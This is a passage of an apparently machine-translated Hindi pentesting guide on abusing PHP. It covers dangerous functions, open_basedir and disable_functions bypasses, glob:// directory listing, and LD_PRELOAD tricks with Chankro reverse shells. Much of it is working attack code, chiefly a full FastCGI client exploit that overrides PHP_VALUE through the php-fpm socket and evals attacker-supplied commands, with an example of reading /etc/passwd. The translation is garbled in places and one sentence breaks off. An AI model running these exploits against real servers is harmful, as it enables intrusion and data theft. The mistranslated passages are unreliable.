pcntl_exec - एक कार्यक्रम को निष्पादित करता है (आमतौर पर आधुनिक और थोड़े पुराने PHP में इस फ़ंक्शन का उपयोग करने के लिए आपको डिफ़ॉल्ट रूप से pcntl.so मॉड्यूल लोड करने की आवश्यकता होती है)
मेल / mb_send_mail - यह फ़ंक्शन मेल भेजने के लिए उपयोग किया जाता है, लेकिन इसका दुरुपयोग करके $options पैरामीटर में विचित्र कमांड इंजेक्ट किया जा सकता है। यह इसलिए है क्योंकि php mail function आम तौर पर सिस्टम में sendmail बाइनरी को कॉल करती है और यह आपको अतिरिक्त विकल्प डालने की अनुमति देती है। हालांकि, आप निष्पादित कमांड का आउटपुट नहीं देख पाएंगे, इसलिए यह सुझाव दिया जाता है कि आउटपुट को एक फ़ाइल में लिखने वाला शैली स्क्रिप्ट बनाएं, इसे मेल का उपयोग करके निष्पादित करें, और आउटपुट प्रिंट करें:
dl - इस फ़ंक्शन का उपयोग PHP एक्सटेंशन को डायनामिक रूप से लोड करने के लिए किया जा सकता है। यह फ़ंक्शन हमेशा मौजूद नहीं होगा, इसलिए आपको इसे उत्पादित करने से पहले यह जांचना चाहिए कि क्या यह उपलब्ध है। इस पृष्ठ को पढ़ें इस फ़ंक्शन का शोषण कैसे करें।
PHP कोड निष्पादन
इवैल के अलावा PHP कोड निष्पादित करने के लिए अन्य तरीके हैं: include/require का उपयोग स्थानीय फ़ाइल समावेश और दूरस्थ फ़ाइल समावेश भयों में रिमोट कोड निष्पादन के लिए किया जा सकता है।
${<php code>} // If your input gets reflected in any PHP string, it will be executed.eval()assert()// identical to eval()preg_replace('/.*/e',...)// e does an eval() on the matchcreate_function()// Create a function and use eval()include()include_once()require()require_once()$_GET['func_name']($_GET['argument']);$func =newReflectionFunction($_GET['func_name']);$func->invoke();// or$func->invokeArgs(array());// or serialize/unserialize function
अक्षम_कार्य & ओपन_बेसडिर
अक्षम कार्य एक सेटिंग है जो PHP में .ini फ़ाइलों में कॉन्फ़िगर की जा सकती है जो निर्दिष्ट कार्यों का उपयोग निषेधित करेगी। ओपन बेसडिर एक सेटिंग है जो PHP को उस फ़ोल्डर का पहुंच बताता है जिसे वह पहुंच सकता है।
PHP सेटिंग को कॉन्फ़िगर करने के लिए पथ /etc/php7/conf.d या समान होता है।
दोनों कॉन्फ़िगरेशन phpinfo() के आउटपुट में देखा जा सकता है:
ओपन_बेसडिर बायपास
open_basedir फ़ोल्डर कॉन्फ़िगर करेगा जिन फ़ोल्डरों तक PHP पहुंच सकता है, आप उन फ़ोल्डरों के बाहर कोई भी फ़ाइल लिखने/पढ़ने/चलाने में सक्षम नहीं होंगे, लेकिन आप अन्य निर्देशिकाओं को सूचीबद्ध करने में भी सक्षम नहीं होंगे।
हालांकि, अगर किसी प्रकार से आप विविध PHP कोड को निष्क्रिय करने में सक्षम हैं तो आप प्रतिबंध को बायपास करने के लिए निम्नलिखित टुकड़ा कोड प्रयास कर सकते हैं।
glob:// बायपास के साथ निर्देशिकाओं की सूचीबद्धि
इस पहले उदाहरण में glob:// प्रोटोकॉल के साथ कुछ पथ बायपास किया गया है:
<?php$file_list =array();$it =newDirectoryIterator("glob:///v??/run/*");foreach($it as $f) {$file_list[] = $f->__toString();}$it =newDirectoryIterator("glob:///v??/run/.*");foreach($it as $f) {$file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo"{$f}<br/>";}
ध्यान1: मार्ग में आप /e??/* का उपयोग कर सकते हैं ताकि /etc/* और किसी अन्य फ़ोल्डर की सूची बना सकें।
ध्यान2: ऐसा लगता है कि कोड का हिस्सा दोहराया गया है, लेकिन वास्तव में यह आवश्यक है!
ध्यान3: यह उदाहरण केवल फ़ोल्डरों की सूची बनाने के लिए उपयोगी है, फ़ाइलें पढ़ने के लिए नहीं।
पूर्ण open_basedir बाइपास FastCGI का दुरुपयोग
यदि आप PHP-FPM और FastCGI के बारे में अधिक जानना चाहते हैं तो आप इस पृष्ठ के पहले खंड को पढ़ सकते हैं।
यदि php-fpm कॉन्फ़िगर किया गया है तो आप इसका दुरुपयोग करके पूरी तरह से open_basedir को छलना कर सकते हैं:
ध्यान दें कि पहली चीज जो आपको करनी होगी वह है php-fpm का यूनिक्स सॉकेट कहाँ है पता लगाना। यह आम तौर पर /var/run के नीचे होता है ताकि आप पिछले कोड का उपयोग करके निर्देशिका की सूची बना सकें और इसे खोज सकें।
कोड यहाँ से।
<?php/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*//*** Handles communication with a FastCGI application** @author Pierrick Charron <pierrick@webstart.fr>* @version 1.0*/classFCGIClient{const VERSION_1 =1;const BEGIN_REQUEST =1;const ABORT_REQUEST =2;const END_REQUEST =3;const PARAMS =4;const STDIN =5;const STDOUT =6;const STDERR =7;const DATA =8;const GET_VALUES =9;const GET_VALUES_RESULT =10;const UNKNOWN_TYPE =11;const MAXTYPE =self::UNKNOWN_TYPE;const RESPONDER =1;const AUTHORIZER =2;const FILTER =3;const REQUEST_COMPLETE =0;const CANT_MPX_CONN =1;const OVERLOADED =2;const UNKNOWN_ROLE =3;const MAX_CONNS ='MAX_CONNS';const MAX_REQS ='MAX_REQS';const MPXS_CONNS ='MPXS_CONNS';const HEADER_LEN =8;/*** Socket* @varResource*/private $_sock =null;/*** Host* @varString*/private $_host =null;/*** Port* @varInteger*/private $_port =null;/*** Keep Alive* @varBoolean*/private $_keepAlive =false;/*** Constructor** @paramString $host Host of the FastCGI application* @paramInteger $port Port of the FastCGI application*/publicfunction__construct($host, $port =9000) // and default value for port, just for unixdomain socket{$this->_host = $host;$this->_port = $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** @paramBoolean $b true if the connection should stay alive, false otherwise*/publicfunctionsetKeepAlive($b){$this->_keepAlive = (boolean)$b;if (!$this->_keepAlive &&$this->_sock) {fclose($this->_sock);}}/*** Get the keep alive status** @returnBoolean true if the connection should stay alive, false otherwise*/publicfunctiongetKeepAlive(){return$this->_keepAlive;}/*** Create a connection to the FastCGI application*/privatefunctionconnect(){if (!$this->_sock) {//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);$this->_sock =stream_socket_client($this->_host, $errno, $errstr,5);if (!$this->_sock) {thrownewException('Unable to connect to FastCGI application');}}}/*** Build a FastCGI packet** @paramInteger $type Type of the packet* @paramString $content Content of the packet* @paramInteger $requestId RequestId*/privatefunctionbuildPacket($type, $content, $requestId =1){$clen =strlen($content);returnchr(self::VERSION_1)/* version */.chr($type)/* type */.chr(($requestId >>8) &0xFF)/* requestIdB1 */.chr($requestId &0xFF)/* requestIdB0 */.chr(($clen >>8 ) &0xFF)/* contentLengthB1 */.chr($clen &0xFF)/* contentLengthB0 */.chr(0)/* paddingLength */.chr(0)/* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** @paramString $name Name* @paramString $value Value* @returnString FastCGI Name value pair*/privatefunctionbuildNvpair($name, $value){$nlen =strlen($name);$vlen =strlen($value);if ($nlen <128) {/* nameLengthB0 */$nvpair =chr($nlen);} else {/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */$nvpair =chr(($nlen >>24) |0x80).chr(($nlen >>16) &0xFF).chr(($nlen >>8) &0xFF).chr($nlen &0xFF);}if ($vlen <128) {/* valueLengthB0 */$nvpair .=chr($vlen);} else {/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */$nvpair .=chr(($vlen >>24) |0x80).chr(($vlen >>16) &0xFF).chr(($vlen >>8) &0xFF).chr($vlen &0xFF);}/* nameData & valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** @paramString $data Data containing the set of FastCGI NVPair* @returnarray of NVPair*/privatefunctionreadNvpair($data, $length =null){$array =array();if ($length ===null) {$length =strlen($data);}$p =0;while ($p != $length) {$nlen =ord($data{$p++});if ($nlen >=128) {$nlen = ($nlen &0x7F<<24);$nlen |= (ord($data{$p++})<<16);$nlen |= (ord($data{$p++})<<8);$nlen |= (ord($data{$p++}));}$vlen =ord($data{$p++});if ($vlen >=128) {$vlen = ($nlen &0x7F<<24);$vlen |= (ord($data{$p++})<<16);$vlen |= (ord($data{$p++})<<8);$vlen |= (ord($data{$p++}));}$array[substr($data, $p, $nlen)] =substr($data, $p+$nlen, $vlen);$p += ($nlen + $vlen);}return $array;}/*** Decode a FastCGI Packet** @paramString $data String containing all the packet* @returnarray*/privatefunctiondecodePacketHeader($data){$ret =array();$ret['version'] =ord($data{0});$ret['type'] =ord($data{1});$ret['requestId'] = (ord($data{2})<<8) +ord($data{3});$ret['contentLength'] = (ord($data{4})<<8) +ord($data{5});$ret['paddingLength'] =ord($data{6});$ret['reserved'] =ord($data{7});return $ret;}/*** Read a FastCGI Packet** @returnarray*/privatefunctionreadPacket(){if ($packet =fread($this->_sock,self::HEADER_LEN)) {$resp =$this->decodePacketHeader($packet);$resp['content'] ='';if ($resp['contentLength']) {$len = $resp['contentLength'];while ($len && $buf=fread($this->_sock, $len)) {$len -=strlen($buf);$resp['content'] .= $buf;}}if ($resp['paddingLength']) {$buf=fread($this->_sock, $resp['paddingLength']);}return $resp;} else {returnfalse;}}/*** Get Informations on the FastCGI application** @paramarray $requestedInfo information to retrieve* @returnarray*/publicfunctiongetValues(array $requestedInfo){$this->connect();$request ='';foreach ($requestedInfo as $info) {$request .=$this->buildNvpair($info,'');}fwrite($this->_sock,$this->buildPacket(self::GET_VALUES, $request,0));$resp =$this->readPacket();if ($resp['type'] ==self::GET_VALUES_RESULT) {return$this->readNvpair($resp['content'], $resp['length']);} else {thrownewException('Unexpected response type, expecting GET_VALUES_RESULT');}}/*** Execute a request to the FastCGI application** @paramarray $params Array of parameters* @paramString $stdin Content* @returnString*/publicfunctionrequest(array $params, $stdin){$response ='';$this->connect();$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest ='';foreach ($params as $key => $value) {$paramsRequest .=$this->buildNvpair($key, $value);}if ($paramsRequest) {$request .=$this->buildPacket(self::PARAMS, $paramsRequest);}$request .=$this->buildPacket(self::PARAMS,'');if ($stdin) {$request .=$this->buildPacket(self::STDIN, $stdin);}$request .=$this->buildPacket(self::STDIN,'');fwrite($this->_sock, $request);do {$resp =$this->readPacket();if ($resp['type'] ==self::STDOUT || $resp['type'] ==self::STDERR) {$response .= $resp['content'];}} while ($resp && $resp['type'] !=self::END_REQUEST);var_dump($resp);if (!is_array($resp)) {thrownewException('Bad request');}switch (ord($resp['content']{4})) {caseself::CANT_MPX_CONN:thrownewException('This app can\'t multiplex [CANT_MPX_CONN]');break;caseself::OVERLOADED:thrownewException('New request rejected; too busy [OVERLOADED]');break;caseself::UNKNOWN_ROLE:thrownewException('Role value not known [UNKNOWN_ROLE]');break;caseself::REQUEST_COMPLETE:return $response;}}}?><?php// real exploit start hereif (!isset($_REQUEST['cmd'])) {die("Check your input\n");}if (!isset($_REQUEST['filepath'])) {$filepath =__FILE__;}else{$filepath = $_REQUEST['filepath'];}$req ='/'.basename($filepath);$uri = $req .'?'.'command='.$_REQUEST['cmd'];$client =newFCGIClient("unix:///var/run/php-fpm.sock",-1);$code ="<?php eval(\$_REQUEST['command']);?>"; // php payload -- Doesnt do anything$php_value ="allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";//$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";$params =array('GATEWAY_INTERFACE'=>'FastCGI/1.0','REQUEST_METHOD'=>'POST','SCRIPT_FILENAME'=> $filepath,'SCRIPT_NAME'=> $req,'QUERY_STRING'=>'command='.$_REQUEST['cmd'],'REQUEST_URI'=> $uri,'DOCUMENT_URI'=> $req,#'DOCUMENT_ROOT' => '/','PHP_VALUE'=> $php_value,'SERVER_SOFTWARE'=>'80sec/wofeiwo','REMOTE_ADDR'=>'127.0.0.1','REMOTE_PORT'=>'9985','SERVER_ADDR'=>'127.0.0.1','SERVER_PORT'=>'80','SERVER_NAME'=>'localhost','SERVER_PROTOCOL'=>'HTTP/1.1','CONTENT_LENGTH'=>strlen($code));// print_r($_REQUEST);// print_r($params);//echo "Call: $uri\n\n";echo $client->request($params, $code)."\n";?>
यह स्क्रिप्ट php-fpm के यूनिक्स सॉकेट के साथ संवाद करेगा (सामान्यत: /var/run में स्थित होता है यदि fpm का उपयोग किया जाता है) अनिवार्य कोड को निषेधित करने के लिए PHP_VALUE विशेषता भेजी जाएगी।
नोट करें कि eval का उपयोग cmd पैरामीटर के भीतर भेजे गए PHP कोड को निष्पादित करने के लिए किया गया है।
यहां टिप्पणीबद्ध लाइन 324 को ध्यान से देखें, आप इसे अनटिक कर सकते हैं और पेलोड स्वचालित रूप से दिए गए URL से कनेक्ट करेगा और वहां शामिल PHP कोड को निष्पादित करेगा।
बस http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd'); तक पहुंचें और /etc/passwd फ़ाइल की सामग्री प्राप्त करें।
आप सोच रहे होंगे कि जिस तरह से हमने open_basedir कॉन्फ़िगरेशन को अधिलेखित किया है, हम disable_functions को अधिलेखित कर सकते हैं। ठीक है, इसे प्रयास करें, लेकिन यह काम नहीं करेगा, जाहिर है कि disable_functions को केवल एक .ini php कॉन्फ़िगरेशन फ़ाइल में कॉन्फ़िगर किया जा सकता है और आप जो परिवर्तन करते हैं PHP_VALUE का उपयोग करके इस विशेष सेटिंग पर प्रभावी नहीं होंगे।
disable_functions बाईपास
यदि आप मशीन के अंदर PHP कोड को निष्पादित करने में सफल होते हैं तो आपको संभावित रूप से अगले स्तर पर जाना चाहिए और विचारहीन प्रणाली कमांडों को निष्पादित करने की इच्छा होगी। इस स्थिति में सामान्य है कि आप यह खोजते हैं कि अधिकांश या सभी PHP फ़ंक्शन जो सिस्टम कमांडों को निष्पादित करने की अनुमति देते हैं, उन्हें disable_functions में अक्षम कर दिया गया है।
तो, चलिए देखते हैं कि आप इस प्रतिबंध को कैसे बाईपास कर सकते हैं (यदि आप कर सकते हैं)
स्वचालित बाईपास खोज
आप उपकरण https://github.com/teambi0s/dfunc-bypasser का उपयोग कर सकते हैं और यह दर्शाएगा कि कौन सा फ़ंक्शन (यदि कोई) आप disable_functions को बाईपास करने के लिए उपयोग कर सकते हैं।
अन्य सिस्टम फ़ंक्शनों का उपयोग करके बाईपास करना
बस इस पृष्ठ की शुरुआत पर वापस जाएं और जांचें कि क्या कोई भी कमांड निष्पादित करने वाले फ़ंक्शन अक्षम नहीं है और पर्यावरण में उपलब्ध है। यदि आपमें से कोई भी उनमें से एक पाते हैं, तो आप इसका उपयोग करके विचारहीन सिस्टम कमांडों को निष्पादित कर सकेंगे।
LD_PRELOAD बाईपास
यह अच्छी तरह से जाना जाता है कि PHP में कुछ फ़ंक्शन जैसे mail()सिस्टम के अंदर बाइनरी को निष्पादित करेंगे। इसलिए, आप LD_PRELOAD परिवर्तनीय मान का उपयोग करके उन्हें अवश्यकतानुसार कुछ निष्पादित करने वाली पुस्तकालय को लोड करने के लिए उपयोग कर सकते हैं।
LD_PRELOAD के साथ disable_functions को बाईपास करने के लिए उपयोग किए जा सकने वाले फ़ंक्शन
mail
mb_send_mail: php-mbstring मॉड्यूल स्थापित होने पर प्रभावी है।
imap_mail: php-imap मॉड्यूल मौजूद होने पर काम करता है।
libvirt_connect: php-libvirt-php मॉड्यूल की आवश्यकता है।
gnupg_init: php-gnupg मॉड्यूल स्थापित होने पर उपयोगी है।
new imagick(): इस कक्षा का दुरुपयोग करने के लिए बाईपास प्रतिबंधों को बाईपास किया जा सकता है। एक व्यापक लेखन यहाँ में विस्तृत शोषण तकनीकें मिल सकती हैं।
आप यहाँ उस फज़िंग स्क्रिप्ट को पा सकते हैं जिसका उपयोग उन फ़ंक्शनों को खोजने के लिए किया गया था।
यहाँ एक पुस्तकालय है जिसे आप LD_PRELOAD परिवर्तनीय मान का दुरुपयोग करने के लिए कंपाइल कर सकते हैं:
इस गलत कॉन्फ़िगरेशन का दुरुपयोग करने के लिए आप चैंक्रो का उपयोग कर सकते हैं। यह एक टूल है जो एक PHP एक्सप्लॉइट उत्पन्न करेगा जिसे आपको विकल्पी सर्वर पर अपलोड करना होगा और इसे निष्क्रिय करना होगा (वेब के माध्यम से उसका उपयोग करें)।
चैंक्रो विक्टिम के डिस्क में लाइब्रेरी और रिवर्स शैल लिखेगा जिसे आप निष्क्रिय करना चाहते हैं और यह**LD_PRELOAD ट्रिक + PHP mail()** फ़ंक्शन का उपयोग करेगा रिवर्स शैल को निष्क्रिय करने के लिए।
ध्यान दें कि चैंक्रो का उपयोग करने के लिए, mail और putenvdisable_functions सूची के भीतर नहीं होना चाहिए।
निम्नलिखित उदाहरण में आप देख सकते हैं कि चैंक्रो एक्सप्लॉइट कैसे बनाया जाता है आर्क 64 के लिए, जो whoami को निष्क्रिय करेगा और /tmp/chankro_shell.out में आउट को सहेजेगा, चैंक्रो **ल
ध्यान दें कि PHP का उपयोग करके आप फ़ाइलें पढ़ और लिख सकते हैं, निर्देशिकाएँ बना सकते हैं और अनुमतियाँ बदल सकते हैं।
आप यहाँ डेटाबेस डंप भी कर सकते हैं।
शायद PHP का उपयोग करके बॉक्स की जांच करते समय आपको विशेषाधिकार/कमांडों को उन्नत करने/चलाने का तरीका मिल सकता है (उदाहरण के लिए कुछ निजी एसएसएच कुंजी पढ़ना)।
ये फ़ंक्शन एक स्ट्रिंग पैरामीटर स्वीकार करते हैं जिसका उपयोग हमलावार की पसंदीदा फ़ंक्शन को बुलाने के लिए किया जा सकता है। फ़ंक्शन के आधार पर हमलावार को पैरामीटर पास करने की क्षमता हो सकती है या नहीं हो सकती है। उस मामले में एक जानकारी फ़ंक्शन जैसे phpinfo() का उपयोग किया जा सकता है।
// Function => Position of callback arguments'ob_start'=>0,'array_diff_uassoc'=>-1,'array_diff_ukey'=>-1,'array_filter'=>1,'array_intersect_uassoc'=>-1,'array_intersect_ukey'=>-1,'array_map'=>0,'array_reduce'=>1,'array_udiff_assoc'=>-1,'array_udiff_uassoc'=>array(-1,-2),'array_udiff'=>-1,'array_uintersect_assoc'=>-1,'array_uintersect_uassoc'=>array(-1,-2),'array_uintersect'=>-1,'array_walk_recursive'=>1,'array_walk'=>1,'assert_options'=>1,'uasort'=>1,'uksort'=>1,'usort'=>1,'preg_replace_callback'=>1,'spl_autoload_register'=>0,'iterator_apply'=>1,'call_user_func'=>0,'call_user_func_array'=>0,'register_shutdown_function'=>0,'register_tick_function'=>0,'set_error_handler'=>0,'set_exception_handler'=>0,'session_set_save_handler'=>array(0,1,2,3,4,5),'sqlite_create_aggregate'=>array(2,3),'sqlite_create_function'=>2,
सूचना फासला
इन फ़ंक्शन कॉल का अधिकांश सिंक्स नहीं हैं। बल्कि यह एक भयानकता हो सकती है अगर वापस लौटी कोई भी डेटा हमलावर को दिखाई दे। अगर किसी हमलावर को phpinfo() देखने की स्थिति होती है तो यह निश्चित रूप से एक भयानकता है।
extract // Opens the door for register_globals attacks (see study in scarlet).parse_str // works like extract if only one argument is given.putenvini_setmail // has CRLF injection in the 3rd parameter, opens the door for spam.header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_niceproc_terminateproc_closepfsockopenfsockopenapache_child_terminateposix_killposix_mkfifoposix_setpgidposix_setsidposix_setuid
फ़ाइल सिस्टम कार्य
RATS के अनुसार php में सभी फ़ाइल सिस्टम कार्य नास्तिक हैं। इनमें से कुछ ऐसे नहीं लगते जो हमलावर के लिए बहुत उपयोगी हों। दूसरों की तुलना में कुछ अधिक उपयोगी हो सकते हैं। उदाहरण के लिए यदि allow_url_fopen=On है तो url को एक फ़ाइल पथ के रूप में उपयोग किया जा सकता है, इसलिए copy($_GET['s'], $_GET['d']); को किसी भी सिस्टम पर कहीं भी PHP स्क्रिप्ट अपलोड करने के लिए उपयोग किया जा सकता है। इसके अलावा, यदि एक साइट GET के माध्यम से भेजे गए अनुरोध के लिए विकल्पनीय है, तो आपके सर्वर के माध्यम से किसी अन्य होस्ट पर हमला चैनल और अटैक के लिए इन सभी फ़ाइल सिस्टम कार्यों का दुरुपयोग किया जा सकता है।
फ़ाइल सिस्टम में लिखें (आंशिक रूप में पढ़ने के साथ)
chgrpchmodchowncopyfile_put_contentslchgrplchownlinkmkdirmove_uploaded_filerenamermdirsymlinktempnamtouchunlinkimagepng // 2nd parameter is a path.imagewbmp // 2nd parameter is a path.image2wbmp // 2nd parameter is a path.imagejpeg // 2nd parameter is a path.imagexbm // 2nd parameter is a path.imagegif // 2nd parameter is a path.imagegd // 2nd parameter is a path.imagegd2 // 2nd parameter is a path.iptcembedftp_getftp_nb_getscandir